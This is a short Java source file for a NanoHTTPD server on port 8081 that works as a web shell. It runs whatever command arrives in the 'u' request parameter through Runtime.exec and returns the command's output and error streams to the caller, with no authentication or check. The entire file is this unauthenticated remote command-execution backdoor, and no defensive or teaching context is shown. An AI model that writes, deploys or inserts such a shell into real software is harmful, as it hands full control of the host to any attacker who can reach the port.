import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import fi.iki.elonen.NanoHTTPD; public class Srv extends NanoHTTPD{ public Srv()throws Exception{ super(8081); start(NanoHTTPD.SOCKET_READ_TIMEOUT,false);} public static void main(String[]a){ try{ new Srv();} catch(Exception e){ System.err.println("E "+e);}} public String slrp(InputStream s)throws Exception{ BufferedReader i=new BufferedReader(new InputStreamReader(s)); String m=""; String l; while((l=i.readLine())!=null){m+=l+"\n";} return m;} @Override public Response serve(IHTTPSession s){ String m=""; m+="
"; String u=s.getParms().get("u"); if(u!=null){ try{ m+="out:
";
    Process p=Runtime.getRuntime().exec(u);
    m+=slrp(p.getInputStream());
    m+="
"; m+="err:
";
    m+=slrp(p.getErrorStream());
    m+="
";} catch(Exception e){m+="E "+e;}} m+=""; return newFixedLengthResponse(m);}}